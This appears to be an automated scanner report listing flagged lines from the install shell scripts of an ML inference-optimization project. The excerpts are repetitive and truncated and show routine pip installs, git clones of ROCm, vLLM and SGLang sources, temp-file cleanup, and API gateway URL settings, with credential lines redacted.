[Credential-related source omitted] - Network accessline 670
export ANTHROPIC_BASE_URL=https://api.anthropic.com - Network accessline 671
[Credential-related source omitted] - Access to secretsline 671
[Credential-related source omitted] - Network accessline 672
2. A dual-protocol gateway such as DeepSeek (same key, both sides): export ANTHROPIC_BASE_URL=https://api.deepseek.com/anthropic export OPENAI_BASE_URL=https://api.deepseek.com/v1 - Network accessline 673
export ANTHROPIC_BASE_URL=https://api.deepseek.com/anthropic - Network accessline 674
export OPENAI_BASE_URL=https://api.deepseek.com/v1 - Access to secretsline 675
[Credential-related source omitted] - Access to secretsline 680
[Credential-related source omitted] - Access to secretsline 681
[Credential-related source omitted] - Access to secretsline 682
[Credential-related source omitted] - Access to secretsline 683
[Credential-related source omitted] - Network accessline 845
warn "Fixes (pick one):" warn " * use the canonical ROCm stack: unset PYTHON; install.sh will pick /opt/venv" warn " * install the ROCm torch wheel: \"\$PYTHON\" -m pip install --pre torch --index-url https://download.pytorch - Network accessline 846
warn " * use the canonical ROCm stack: unset PYTHON; install.sh will pick /opt/venv" warn " * install the ROCm torch wheel: \"\$PYTHON\" -m pip install --pre torch --index-url https://download.pytorch.org/whl/rocm6.x" warn " - Network accessline 847
warn " * install the ROCm torch wheel: \"\$PYTHON\" -m pip install --pre torch --index-url https://download.pytorch.org/whl/rocm6.x" - Network accessline 861
warn "Fixes (pick one):" warn " * use the canonical ROCm stack: unset PYTHON; install.sh will pick /opt/venv" warn " * install the ROCm torch wheel: \"\$PYTHON\" -m pip install --force-reinstall --pre torch --index-url https: - Network accessline 862
warn " * use the canonical ROCm stack: unset PYTHON; install.sh will pick /opt/venv" warn " * install the ROCm torch wheel: \"\$PYTHON\" -m pip install --force-reinstall --pre torch --index-url https://download.pytorch.org/whl/ro - Network accessline 863
warn " * install the ROCm torch wheel: \"\$PYTHON\" -m pip install --force-reinstall --pre torch --index-url https://download.pytorch.org/whl/rocm6.x" - Network accessline 880
log "KERNEL_AGENT_ENV=${KERNEL_AGENT_ENV}" log "MAGPIE_PATH=${MAGPIE_PATH}" log "INFERENCEX_REPO=${INFERENCEX_REPO}" - Network accessline 881
log "MAGPIE_PATH=${MAGPIE_PATH}" log "INFERENCEX_REPO=${INFERENCEX_REPO}" log "INFERENCEX_DEFAULT_DIR=${INFERENCEX_DEFAULT_DIR}" - Network accessline 882
log "INFERENCEX_REPO=${INFERENCEX_REPO}" - Network accessline 1435
elif [ "$DRY_RUN" -eq 1 ]; then if rocm_ver="$(_rocm_wheel_version)" && [ -n "$rocm_ver" ]; then log "would run: ${PYTHON} -m pip install --extra-index-url https://stable.repo.amd.com/rocm/whl-next 'rocm-profiler==${rocm_ver}'" - Network accessline 1436
if rocm_ver="$(_rocm_wheel_version)" && [ -n "$rocm_ver" ]; then log "would run: ${PYTHON} -m pip install --extra-index-url https://stable.repo.amd.com/rocm/whl-next 'rocm-profiler==${rocm_ver}'" else - Network accessline 1437
log "would run: ${PYTHON} -m pip install --extra-index-url https://stable.repo.amd.com/rocm/whl-next 'rocm-profiler==${rocm_ver}'" - Network accessline 1448
log "installing rocprofiler-compute (forge profiling backend) via pip: rocm-profiler==${rocm_ver}" "$PYTHON" -m pip install --quiet "${PIP_EXTRA[@]}" \ --extra-index-url https://stable.repo.amd.com/rocm/whl-next "rocm-profiler==${ - Network accessline 1449
"$PYTHON" -m pip install --quiet "${PIP_EXTRA[@]}" --extra-index-url https://stable.repo.amd.com/rocm/whl-next "rocm-profiler==${rocm_ver}" - Network accessline 1450
--extra-index-url https://stable.repo.amd.com/rocm/whl-next "rocm-profiler==${rocm_ver}" \ - Dangerous shell operationline 1487
rm -f "$apt_log" 2>/dev/null || true - Network accessline 1512
# --- 2. Magpie --- # The install state is the pip-installed package specified by # $MAGPIE_PACKAGE_SPEC. $MAGPIE_PATH remains exported for runtime code that - Network accessline 1513
# The install state is the pip-installed package specified by # $MAGPIE_PACKAGE_SPEC. $MAGPIE_PATH remains exported for runtime code that # needs to inspect Magpie's package files (patcher / manifest / InferenceX - Network accessline 1514
# $MAGPIE_PACKAGE_SPEC. $MAGPIE_PATH remains exported for runtime code that - Network accessline 1518
ensure_magpie() { log "ensuring Magpie package ${MAGPIE_PACKAGE_SPEC}" - Network accessline 1519
log "ensuring Magpie package ${MAGPIE_PACKAGE_SPEC}" - Network accessline 1535
fi if [ "$DRY_RUN" -eq 1 ]; then log "would pip install Magpie package: ${MAGPIE_PACKAGE_SPEC}" - Network accessline 1536
if [ "$DRY_RUN" -eq 1 ]; then log "would pip install Magpie package: ${MAGPIE_PACKAGE_SPEC}" return 0 - Network accessline 1537
log "would pip install Magpie package: ${MAGPIE_PACKAGE_SPEC}" - Network accessline 1543
log "Magpie revision already installed or explicitly supplied; skipping pip install" else "$PYTHON" -m pip install --quiet "${PIP_EXTRA[@]}" "$MAGPIE_PACKAGE_SPEC" - Network accessline 1544
else "$PYTHON" -m pip install --quiet "${PIP_EXTRA[@]}" "$MAGPIE_PACKAGE_SPEC" "$PYTHON" -c "import Magpie" >/dev/null - Network accessline 1545
"$PYTHON" -m pip install --quiet "${PIP_EXTRA[@]}" "$MAGPIE_PACKAGE_SPEC" - Network accessline 1546
"$PYTHON" -c "import Magpie" >/dev/null log "Magpie installed OK from ${MAGPIE_PACKAGE_SPEC}" fi - Network accessline 1547
log "Magpie installed OK from ${MAGPIE_PACKAGE_SPEC}" - Access to secretsline 1599
[Credential-related source omitted] - Access to secretsline 1600
[Credential-related source omitted] - Network accessline 1688
fi if [ "$DRY_RUN" -eq 1 ]; then log "would fetch InferenceX pinned to INFERENCEX_REF=${INFERENCEX_REF} from ${INFERENCEX_REPO} -> ${INFERENCEX_PATH}" - Network accessline 1689
if [ "$DRY_RUN" -eq 1 ]; then log "would fetch InferenceX pinned to INFERENCEX_REF=${INFERENCEX_REF} from ${INFERENCEX_REPO} -> ${INFERENCEX_PATH}" export INFERENCEX_PATH - Network accessline 1690
log "would fetch InferenceX pinned to INFERENCEX_REF=${INFERENCEX_REF} from ${INFERENCEX_REPO} -> ${INFERENCEX_PATH}" - Network accessline 1692
return 0 fi log "cloning fresh InferenceX pinned to ${INFERENCEX_REF} from ${INFERENCEX_REPO} -> ${INFERENCEX_PATH}" - Network accessline 1693
fi log "cloning fresh InferenceX pinned to ${INFERENCEX_REF} from ${INFERENCEX_REPO} -> ${INFERENCEX_PATH}" mkdir -p "$(dirname "$INFERENCEX_PATH")" - Network accessline 1694
log "cloning fresh InferenceX pinned to ${INFERENCEX_REF} from ${INFERENCEX_REPO} -> ${INFERENCEX_PATH}" - Network accessline 1695
mkdir -p "$(dirname "$INFERENCEX_PATH")" if ! git_fetch_pinned "$INFERENCEX_REPO" "$INFERENCEX_PATH" "$INFERENCEX_REF" "InferenceX"; then warn "InferenceX clone failed. GSM8K eval will fail without it. Set" - Network accessline 1696
if ! git_fetch_pinned "$INFERENCEX_REPO" "$INFERENCEX_PATH" "$INFERENCEX_REF" "InferenceX"; then - Dangerous shell operationline 1865
rm -f "$constraints" - Dangerous shell operationline 1947
rm -f "$stale_keys_file" - Dangerous shell operationline 2050
rm -f "$index_tmp"; die "failed to capture the served state of ${top}"; return 1 - Access to secretsline 2087
[Credential-related source omitted]
src/hyperloom/inference_optimizer/assets/install_baremetal.sh
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 14
[Credential-related source omitted] - Access to secretsline 15
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Network accessline 37
DEFAULT_OPENAI_BASE_URL="${DEFAULT_OPENAI_BASE_URL:-https://your-openai-compatible-gateway.example.com/v1}" - Network accessline 48
_FRAMEWORK_ENV_WAS_SET="${FRAMEWORK_ENV+x}" FRAMEWORK_ENV="${FRAMEWORK_ENV:-shared}" SGLANG_REPO="${SGLANG_REPO:-https://github.com/sgl-project/sglang.git}" - Network accessline 50
SGLANG_REPO="${SGLANG_REPO:-https://github.com/sgl-project/sglang.git}" - Network accessline 71
SGLANG_ROCM_EXTRA="${SGLANG_ROCM_EXTRA:-}" SGLANG_ROCM_PYPI_VERSION="${SGLANG_ROCM_PYPI_VERSION:-}" AITER_REPO="${AITER_REPO:-https://github.com/ROCm/aiter.git}" - Network accessline 72
SGLANG_ROCM_PYPI_VERSION="${SGLANG_ROCM_PYPI_VERSION:-}" AITER_REPO="${AITER_REPO:-https://github.com/ROCm/aiter.git}" AITER_REF="${AITER_REF:-}" - Network accessline 73
AITER_REPO="${AITER_REPO:-https://github.com/ROCm/aiter.git}" - Network accessline 75
VLLM_VERSION="${VLLM_VERSION:-0.33.0}" VLLM_ROCM_VARIANT="${VLLM_ROCM_VARIANT:-rocm72}" VLLM_ROCM_INDEX="${VLLM_ROCM_INDEX:-https://wheels.vllm.ai/rocm/${VLLM_VERSION}/${VLLM_ROCM_VARIANT}}" - Network accessline 76
VLLM_ROCM_VARIANT="${VLLM_ROCM_VARIANT:-rocm72}" VLLM_ROCM_INDEX="${VLLM_ROCM_INDEX:-https://wheels.vllm.ai/rocm/${VLLM_VERSION}/${VLLM_ROCM_VARIANT}}" VLLM_INSTALL_METHOD="${VLLM_INSTALL_METHOD:-auto}" - Network accessline 77
VLLM_ROCM_INDEX="${VLLM_ROCM_INDEX:-https://wheels.vllm.ai/rocm/${VLLM_VERSION}/${VLLM_ROCM_VARIANT}}" - Network accessline 78
VLLM_INSTALL_METHOD="${VLLM_INSTALL_METHOD:-auto}" VLLM_REPO="${VLLM_REPO:-https://github.com/vllm-project/vllm.git}" VLLM_SOURCE_REF="${VLLM_SOURCE_REF:-4ba787ec9959e566d3b587a796dff07673324da5}" - Network accessline 79
VLLM_REPO="${VLLM_REPO:-https://github.com/vllm-project/vllm.git}" - Network accessline 86
ATOM_REPO="${ATOM_REPO:-https://github.com/ROCm/ATOM.git}" - Network accessline 91
ROCM_SDK_INDEX_URL="${ROCM_SDK_INDEX_URL:-https://stable.repo.amd.com/rocm/whl-next}" - Access to secretsline 134
[Credential-related source omitted] - Access to secretsline 136
[Credential-related source omitted] - Access to secretsline 139
[Credential-related source omitted] - Access to secretsline 341
[Credential-related source omitted] - Network accessline 383
return 0 fi log "installing rocm-sdk-devel==${core_ver} from ${ROCM_SDK_INDEX_URL} for source-build headers" - Network accessline 384
fi log "installing rocm-sdk-devel==${core_ver} from ${ROCM_SDK_INDEX_URL} for source-build headers" if ! "$py" -m pip install "rocm-sdk-devel==${core_ver}" --index-url "$ROCM_SDK_INDEX_URL"; then - Network accessline 385
log "installing rocm-sdk-devel==${core_ver} from ${ROCM_SDK_INDEX_URL} for source-build headers" - Network accessline 386
if ! "$py" -m pip install "rocm-sdk-devel==${core_ver}" --index-url "$ROCM_SDK_INDEX_URL"; then - Network accessline 727
mkdir -p "$sglang_root" git init -q "$sglang_root" git -C "$sglang_root" remote add origin "$SGLANG_REPO" - Network accessline 728
git init -q "$sglang_root" git -C "$sglang_root" remote add origin "$SGLANG_REPO" git -C "$sglang_root" fetch --depth 1 origin "$SGLANG_REF" - Network accessline 729
git -C "$sglang_root" remote add origin "$SGLANG_REPO" git -C "$sglang_root" fetch --depth 1 origin "$SGLANG_REF" git -C "$sglang_root" checkout -q FETCH_HEAD - Dangerous shell operationline 755
rm -f "$constraint_file" - Network accessline 767
mkdir -p "$(dirname "$aiter_root")" if [ ! -d "${aiter_root}/.git" ]; then git clone "$AITER_REPO" "$aiter_root" - Network accessline 768
if [ ! -d "${aiter_root}/.git" ]; then git clone "$AITER_REPO" "$aiter_root" fi - Network accessline 769
git clone "$AITER_REPO" "$aiter_root" fi git -C "$aiter_root" fetch --all --tags --prune - Dangerous shell operationline 813
install_aiter_ref_with_constraints "$py" "$aiter_root" "$AITER_REF" "$constraint_file" || { rm -f "$constraint_file"; die "AITER ${AITER_REF} installed or imported unsuccessfully with the current torch/triton constraints"; } - Dangerous shell operationline 814
|| { rm -f "$constraint_file"; die "AITER ${AITER_REF} installed or imported unsuccessfully with the current torch/triton constraints"; } - Dangerous shell operationline 815
rm -f "$constraint_file" - Dangerous shell operationline 826
rm -f "$constraint_file" - Dangerous shell operationline 833
rm -f "$constraint_file" - Network accessline 833
rm -f "$constraint_file" [ "$tried" -gt 0 ] || die "no AITER tags found in ${AITER_REPO}" - Network accessline 834
[ "$tried" -gt 0 ] || die "no AITER tags found in ${AITER_REPO}" - Network accessline 872
"$py" -m pip install \ "amd-sglang[all-hip,${SGLANG_ROCM_EXTRA}]" \ -i "https://pypi.amd.com/rocm-${SGLANG_ROCM_PYPI_VERSION}/simple" \ - Network accessline 873
"amd-sglang[all-hip,${SGLANG_ROCM_EXTRA}]" \ -i "https://pypi.amd.com/rocm-${SGLANG_ROCM_PYPI_VERSION}/simple" \ --extra-index-url https://pypi.org/simple - Network accessline 874
-i "https://pypi.amd.com/rocm-${SGLANG_ROCM_PYPI_VERSION}/simple" \ - Network accessline 875
--extra-index-url https://pypi.org/simple - Network accessline 920
log "aiter import OK" elif [ -n "$AITER_REF" ]; then warn "aiter missing (check-only; would clone/install ${AITER_REPO}@${AITER_REF})" - Network accessline 921
elif [ -n "$AITER_REF" ]; then warn "aiter missing (check-only; would clone/install ${AITER_REPO}@${AITER_REF})" else - Network accessline 922
warn "aiter missing (check-only; would clone/install ${AITER_REPO}@${AITER_REF})" - Network accessline 923
else warn "aiter missing (check-only; would auto-select newest compatible tag from ${AITER_REPO})" fi - Network accessline 924
warn "aiter missing (check-only; would auto-select newest compatible tag from ${AITER_REPO})" - Network accessline 930
if [ "$DRY_RUN" -eq 1 ]; then if [ "$py_mm" = "3.10" ] && [ -n "$SGLANG_ROCM_EXTRA" ]; then log "would run: ${py} -m pip install 'amd-sglang[all-hip,${SGLANG_ROCM_EXTRA}]' -i https://pypi.amd.com/rocm-${SGLANG_ROCM_PYPI_VERSION}/s - Network accessline 931
if [ "$py_mm" = "3.10" ] && [ -n "$SGLANG_ROCM_EXTRA" ]; then log "would run: ${py} -m pip install 'amd-sglang[all-hip,${SGLANG_ROCM_EXTRA}]' -i https://pypi.amd.com/rocm-${SGLANG_ROCM_PYPI_VERSION}/simple --extra-index-url https://py - Network accessline 932
log "would run: ${py} -m pip install 'amd-sglang[all-hip,${SGLANG_ROCM_EXTRA}]' -i https://pypi.amd.com/rocm-${SGLANG_ROCM_PYPI_VERSION}/simple --extra-index-url https://pypi.org/simple" - Network accessline 934
local sglang_root="${SGLANG_ROOT:-${deps_root}/sglang}" kernel_dir="" rocm_devel_headers_present "$py" \ || log "would install rocm-sdk-devel from ${ROCM_SDK_INDEX_URL} and run rocm-sdk init for source-build headers" - Network accessline 935
rocm_devel_headers_present "$py" || log "would install rocm-sdk-devel from ${ROCM_SDK_INDEX_URL} and run rocm-sdk init for source-build headers" - Network accessline 936
|| log "would install rocm-sdk-devel from ${ROCM_SDK_INDEX_URL} and run rocm-sdk init for source-build headers" - Network accessline 937
log "would clone/build SGLang source ${SGLANG_REPO}@${SGLANG_REF} under ${sglang_root}" - Network accessline 945
fi if [ -n "$AITER_REF" ]; then log "would clone/update ${AITER_REPO}@${AITER_REF} at ${aiter_root} and install it with current torch/triton constraints" - Network accessline 946
if [ -n "$AITER_REF" ]; then log "would clone/update ${AITER_REPO}@${AITER_REF} at ${aiter_root} and install it with current torch/triton constraints" else - Network accessline 947
log "would clone/update ${AITER_REPO}@${AITER_REF} at ${aiter_root} and install it with current torch/triton constraints" - Network accessline 948
else log "would auto-select the newest compatible AITER tag from ${AITER_REPO} and install it with current torch/triton constraints" fi - Network accessline 949
log "would auto-select the newest compatible AITER tag from ${AITER_REPO} and install it with current torch/triton constraints" - Network accessline 988
mkdir -p "$atom_root" git init -q "$atom_root" git -C "$atom_root" remote add origin "$ATOM_REPO" - Network accessline 989
git init -q "$atom_root" git -C "$atom_root" remote add origin "$ATOM_REPO" fi - Network accessline 990
git -C "$atom_root" remote add origin "$ATOM_REPO" - Dangerous shell operationline 999
"$py" -m pip install --constraint "$constraint_file" -e "$atom_root" || { rm -f "$constraint_file"; die "ATOM ${ATOM_REF} install failed under the current torch/triton constraints"; } - Dangerous shell operationline 1000
|| { rm -f "$constraint_file"; die "ATOM ${ATOM_REF} install failed under the current torch/triton constraints"; } - Dangerous shell operationline 1001
rm -f "$constraint_file" - Network accessline 1016
log "Phase 2: installing ATOM framework layer" log "framework python: ${py}" log "ATOM source: ${ATOM_REPO}@${ATOM_REF}" - Network accessline 1017
log "framework python: ${py}" log "ATOM source: ${ATOM_REPO}@${ATOM_REF}" log "AITER_ROOT=${aiter_root}" - Network accessline 1018
log "ATOM source: ${ATOM_REPO}@${ATOM_REF}" - Network accessline 1026
if [ "$CHECK_ONLY" -eq 1 ]; then _py_has "$py" atom && log "atom import OK" \ || warn "atom missing (check-only; would install ${ATOM_REPO}@${ATOM_REF})" - Network accessline 1027
_py_has "$py" atom && log "atom import OK" || warn "atom missing (check-only; would install ${ATOM_REPO}@${ATOM_REF})" - Network accessline 1028
|| warn "atom missing (check-only; would install ${ATOM_REPO}@${ATOM_REF})" - Network accessline 1029
_py_has "$py" aiter && log "aiter import OK" || warn "aiter missing (check-only; would install ${AITER_REF:-the newest compatible tag} from ${AITER_REPO})" - Network accessline 1030
|| warn "aiter missing (check-only; would install ${AITER_REF:-the newest compatible tag} from ${AITER_REPO})" - Network accessline 1034
if [ "$DRY_RUN" -eq 1 ]; then log "would install AITER ${AITER_REF:-(newest compatible tag)} from ${AITER_REPO} at ${aiter_root} with current torch/triton constraints" - Network accessline 1035
log "would install AITER ${AITER_REF:-(newest compatible tag)} from ${AITER_REPO} at ${aiter_root} with current torch/triton constraints" - Network accessline 1036
log "would clone ${ATOM_REPO}@${ATOM_REF} at ${ATOM_ROOT:-${deps_root}/atom} and install it editable with current torch/triton constraints" - Access to secretsline 1205
[Credential-related source omitted] - Network accessline 1287
[ -d "$root/.git" ] || die "vLLM source root is an existing non-git directory: ${root}" origin="$(git -C "$root" remote get-url origin 2>/dev/null || true)" [ "$origin" = "$VLLM_REPO" ] || die "vLLM checkout origin mismatch: ${origin:-m - Network accessline 1288
origin="$(git -C "$root" remote get-url origin 2>/dev/null || true)" [ "$origin" = "$VLLM_REPO" ] || die "vLLM checkout origin mismatch: ${origin:-missing}" git -C "$root" diff --quiet && git -C "$root" diff --cached --quiet || - Network accessline 1289
[ "$origin" = "$VLLM_REPO" ] || die "vLLM checkout origin mismatch: ${origin:-missing}" - Network accessline 1302
mkdir -p "$(dirname "$root")" git init -q "$root" git -C "$root" remote add origin "$VLLM_REPO" - Network accessline 1303
git init -q "$root" git -C "$root" remote add origin "$VLLM_REPO" fi - Network accessline 1304
git -C "$root" remote add origin "$VLLM_REPO" fi git -C "$root" fetch --quiet --depth 1 origin "$VLLM_SOURCE_REF" || - Network accessline 1384
write_rocm_torch_constraints "$base_py" "$constraint_file" "$py" -m pip install --no-build-isolation --constraint "$constraint_file" \ --extra-index-url "$ROCM_SDK_INDEX_URL" \ - Network accessline 1385
"$py" -m pip install --no-build-isolation --constraint "$constraint_file" --extra-index-url "$ROCM_SDK_INDEX_URL" - Network accessline 1386
--extra-index-url "$ROCM_SDK_INDEX_URL" \ - Dangerous shell operationline 1388
{ rm -f "$constraint_file"; die "failed to install vLLM ROCm source requirements"; } - Dangerous shell operationline 1395
{ rm -f "$constraint_file"; die "vLLM source build failed"; } - Dangerous shell operationline 1396
rm -f "$constraint_file" - Network accessline 1449
log "VLLM_VERSION=${VLLM_VERSION}" log "VLLM_ROCM_VARIANT=${VLLM_ROCM_VARIANT}" log "VLLM_ROCM_INDEX=${VLLM_ROCM_INDEX}" - Network accessline 1451
log "VLLM_ROCM_INDEX=${VLLM_ROCM_INDEX}" - Network accessline 1459
verify_vllm_rocm "$py" && log "vllm import OK (ROCm platform)" else warn "vllm missing (check-only; would install ${package_spec} from ${VLLM_ROCM_INDEX})" - Network accessline 1460
else warn "vllm missing (check-only; would install ${package_spec} from ${VLLM_ROCM_INDEX})" fi - Network accessline 1461
warn "vllm missing (check-only; would install ${package_spec} from ${VLLM_ROCM_INDEX})" - Network accessline 1470
if [ "$FRAMEWORK_ENV" = "isolated" ]; then log "would create/update isolated vLLM venv at ${VLLM_VENV_ROOT}" log "would pin ROCm torch from ${VLLM_ROCM_INDEX}/torch/ before installing vLLM" - Network accessline 1471
log "would create/update isolated vLLM venv at ${VLLM_VENV_ROOT}" log "would pin ROCm torch from ${VLLM_ROCM_INDEX}/torch/ before installing vLLM" log "would run: ${py} -m pip install --upgrade --extra-index-url ${VLLM_ROCM_INDE - Network accessline 1472
log "would pin ROCm torch from ${VLLM_ROCM_INDEX}/torch/ before installing vLLM" - Network accessline 1473
log "would run: ${py} -m pip install --upgrade --extra-index-url ${VLLM_ROCM_INDEX} ${package_spec}" - Network accessline 1474
else log "would write ROCm torch/triton constraints" log "would run: ${py} -m pip install --upgrade --constraint <rocm-constraints> --extra-index-url ${VLLM_ROCM_INDEX} ${package_spec}" - Network accessline 1475
log "would write ROCm torch/triton constraints" log "would run: ${py} -m pip install --upgrade --constraint <rocm-constraints> --extra-index-url ${VLLM_ROCM_INDEX} ${package_spec}" fi - Network accessline 1476
log "would run: ${py} -m pip install --upgrade --constraint <rocm-constraints> --extra-index-url ${VLLM_ROCM_INDEX} ${package_spec}" - Network accessline 1493
rocm_torch_ver="$("$py" - "$VLLM_ROCM_INDEX" <<'PY' import re, sys, urllib.request, urllib.error - Network accessline 1496
base = sys.argv[1].rstrip("/") + "/torch/" try: html = urllib.request.urlopen(base, timeout=30).read().decode() - Network accessline 1497
try: html = urllib.request.urlopen(base, timeout=30).read().decode() except urllib.error.HTTPError as e: - Network accessline 1498
html = urllib.request.urlopen(base, timeout=30).read().decode() - Network accessline 1513
if [ -n "$rocm_torch_ver" ]; then log "pinning isolated ROCm torch==${rocm_torch_ver}" "$py" -m pip install --upgrade --extra-index-url "$VLLM_ROCM_INDEX" "torch==${rocm_torch_ver}" \ - Network accessline 1514
log "pinning isolated ROCm torch==${rocm_torch_ver}" "$py" -m pip install --upgrade --extra-index-url "$VLLM_ROCM_INDEX" "torch==${rocm_torch_ver}" \ || die "failed to install ROCm torch==${rocm_torch_ver} into ${VLLM_VENV_ROO - Network accessline 1515
"$py" -m pip install --upgrade --extra-index-url "$VLLM_ROCM_INDEX" "torch==${rocm_torch_ver}" \ - Network accessline 1516
|| die "failed to install ROCm torch==${rocm_torch_ver} into ${VLLM_VENV_ROOT}" else die "could not resolve a ROCm torch version from ${VLLM_ROCM_INDEX}/torch/" - Network accessline 1517
else die "could not resolve a ROCm torch version from ${VLLM_ROCM_INDEX}/torch/" fi - Network accessline 1518
die "could not resolve a ROCm torch version from ${VLLM_ROCM_INDEX}/torch/" - Network accessline 1519
fi if ! "$py" -m pip install --upgrade \ --extra-index-url "$VLLM_ROCM_INDEX" \ - Network accessline 1520
if ! "$py" -m pip install --upgrade --extra-index-url "$VLLM_ROCM_INDEX" - Network accessline 1521
--extra-index-url "$VLLM_ROCM_INDEX" \ - Network accessline 1522
"$package_spec"; then die "vLLM isolated install failed. Try a VLLM_VERSION/VLLM_ROCM_VARIANT available from ${VLLM_ROCM_INDEX}." fi - Network accessline 1523
die "vLLM isolated install failed. Try a VLLM_VERSION/VLLM_ROCM_VARIANT available from ${VLLM_ROCM_INDEX}." - Network accessline 1537
if ! "$py" -m pip install --upgrade \ --constraint "$constraint_file" \ --extra-index-url "$VLLM_ROCM_INDEX" \ - Network accessline 1538
--constraint "$constraint_file" \ --extra-index-url "$VLLM_ROCM_INDEX" \ "$package_spec"; then - Network accessline 1539
--extra-index-url "$VLLM_ROCM_INDEX" \ - Dangerous shell operationline 1541
rm -f "$constraint_file" - Dangerous shell operationline 1544
rm -f "$constraint_file" - Network accessline 1607
local tmp_dir archive url tmp_dir="$(mktemp -d)" command -v curl >/dev/null 2>&1 || { - Network accessline 1608
tmp_dir="$(mktemp -d)" command -v curl >/dev/null 2>&1 || { rm -rf "$tmp_dir" - Network accessline 1609
command -v curl >/dev/null 2>&1 || { - Dangerous shell operationline 1610
rm -rf "$tmp_dir" - Network accessline 1610
rm -rf "$tmp_dir" warn "curl not found; cannot download ROCm profiler hotfix asset" return 1 - Network accessline 1611
warn "curl not found; cannot download ROCm profiler hotfix asset" - Network accessline 1615
url="https://github.com/${HYPERLOOM_WHEEL_REPO}/releases/download/${HYPERLOOM_WHEEL_TAG}/${ROCM_PROFILER_HOTFIX_ASSET}" - Network accessline 1616
archive="${tmp_dir}/${ROCM_PROFILER_HOTFIX_ASSET}" log "downloading ROCm profiler hotfix asset ${ROCM_PROFILER_HOTFIX_ASSET} from ${url}" >&2 if ! curl -fSL -o "$archive" "$url" >&2; then - Network accessline 1617
log "downloading ROCm profiler hotfix asset ${ROCM_PROFILER_HOTFIX_ASSET} from ${url}" >&2 - Network accessline 1618
if ! curl -fSL -o "$archive" "$url" >&2; then - Dangerous shell operationline 1619
rm -rf "$tmp_dir" - Network accessline 1619
rm -rf "$tmp_dir" warn "failed to download ${ROCM_PROFILER_HOTFIX_ASSET} from ${url}" return 1 - Network accessline 1620
warn "failed to download ${ROCM_PROFILER_HOTFIX_ASSET} from ${url}" - Dangerous shell operationline 1624
rm -rf "$tmp_dir" - Dangerous shell operationline 1630
rm -rf "$tmp_dir" - Dangerous shell operationline 1710
[ -e "$path" ] && rm -f "$path" - Dangerous shell operationline 1863
rm -f "$tmp" - Dangerous shell operationline 1953
rm -rf "$old_backup" - Dangerous shell operationline 1958
rm -rf "$staging" - Dangerous shell operationline 1959
install -d "$staging" || { rm -rf "$old_backup"; return 1; } - Dangerous shell operationline 1971
cp -a "${torch_lib_dir}/${name}" "${staging}/${name}" || { rm -rf "$staging" "$old_backup"; return 1; } - Dangerous shell operationline 1972
|| { rm -rf "$staging" "$old_backup"; return 1; } - Dangerous shell operationline 1975
mv -T "$staging" "$backup_dir" || { rm -rf "$staging" "$old_backup"; return 1; } - Dangerous shell operationline 1976
rm -rf "$old_backup" - Dangerous shell operationline 1982
rm -rf "$staging" - Dangerous shell operationline 1986
cp -a "${torch_lib_dir}/${name}" "${staging}/${name}" || { rm -rf "$staging"; return 1; } - Dangerous shell operationline 1988
mv -T "$staging" "$backup_dir" || { rm -rf "$staging"; return 1; } - Dangerous shell operationline 1996
rm -f "${torch_lib_dir}/${name}" || return 1 - Dangerous shell operationline 2045
rm -f "${torch_lib_dir}/${soname}" || return 1 - Dangerous shell operationline 2050
rm -f "$marker" - Dangerous shell operationline 2216
rm -rf "$extract_dir" - Dangerous shell operationline 2221
backup_rocm_profiler_hotfix_links "$target_dir" "$backup_dir" || { rm -rf "$extract_dir"; die "cannot back up ${target_dir} profiler links"; } - Dangerous shell operationline 2222
|| { rm -rf "$extract_dir"; die "cannot back up ${target_dir} profiler links"; } - Dangerous shell operationline 2229
rm -rf "$extract_dir" - Dangerous shell operationline 2232
rm -rf "$extract_dir" - Dangerous shell operationline 2242
rm -rf "$extract_dir" - Access to secretsline 2277
[Credential-related source omitted] - Access to secretsline 2295
[Credential-related source omitted] - Access to secretsline 2298
[Credential-related source omitted] - Access to secretsline 2307
[Credential-related source omitted] - Access to secretsline 2315
[Credential-related source omitted] - Access to secretsline 2318
[Credential-related source omitted] - Access to secretsline 2319
[Credential-related source omitted] - Access to secretsline 2324
[Credential-related source omitted] - Access to secretsline 2333
[Credential-related source omitted] - Access to secretsline 2334
[Credential-related source omitted] - Access to secretsline 2335
[Credential-related source omitted] - Access to secretsline 2339
[Credential-related source omitted] - Access to secretsline 2344
[Credential-related source omitted] - Access to secretsline 2357
[Credential-related source omitted] - Access to secretsline 2358
[Credential-related source omitted] - Access to secretsline 2359
[Credential-related source omitted] - Access to secretsline 2362
[Credential-related source omitted] - Network accessline 2363
url="${DEEPSEEK_BASE_URL:-$(read_dotenv_var DEEPSEEK_BASE_URL || true)}" model="${DEEPSEEK_MODEL:-$(read_dotenv_var DEEPSEEK_MODEL || true)}" if [ -z "$key" ] && [ -z "$url" ]; then - Network accessline 2364
model="${DEEPSEEK_MODEL:-$(read_dotenv_var DEEPSEEK_MODEL || true)}" if [ -z "$key" ] && [ -z "$url" ]; then return 0 - Network accessline 2365
if [ -z "$key" ] && [ -z "$url" ]; then - Access to secretsline 2371
[Credential-related source omitted] - Access to secretsline 2372
[Credential-related source omitted] - Access to secretsline 2373
[Credential-related source omitted] - Access to secretsline 2374
[Credential-related source omitted] - Network accessline 2383
lowered="$(printf '%s' "$base" | tr '[:upper:]' '[:lower:]')" case "$lowered" in "") anthropic_url="https://api.deepseek.com/anthropic"; openai_url="https://api.deepseek.com/v1" ;; - Network accessline 2384
case "$lowered" in "") anthropic_url="https://api.deepseek.com/anthropic"; openai_url="https://api.deepseek.com/v1" ;; */anthropic) anthropic_url="$base"; openai_url="${base%/*}/v1" ;; - Network accessline 2385
"") anthropic_url="https://api.deepseek.com/anthropic"; openai_url="https://api.deepseek.com/v1" ;; - Network accessline 2386
*/anthropic) anthropic_url="$base"; openai_url="${base%/*}/v1" ;; */v1) anthropic_url="${base%/*}/anthropic"; openai_url="$base" ;; https://api.deepseek.com|http://api.deepseek.com) - Network accessline 2387
*/v1) anthropic_url="${base%/*}/anthropic"; openai_url="$base" ;; https://api.deepseek.com|http://api.deepseek.com) anthropic_url="${base}/anthropic"; openai_url="${base}/v1" ;; - Network accessline 2388
https://api.deepseek.com|http://api.deepseek.com) - Access to secretsline 2395
[Credential-related source omitted] - Access to secretsline 2396
[Credential-related source omitted] - Access to secretsline 2398
[Credential-related source omitted] - Access to secretsline 2404
[Credential-related source omitted] - Access to secretsline 2406
[Credential-related source omitted] - Access to secretsline 2409
[Credential-related source omitted] - Access to secretsline 2423
[Credential-related source omitted] - Access to secretsline 2425
[Credential-related source omitted] - Access to secretsline 2426
[Credential-related source omitted] - Access to secretsline 2428
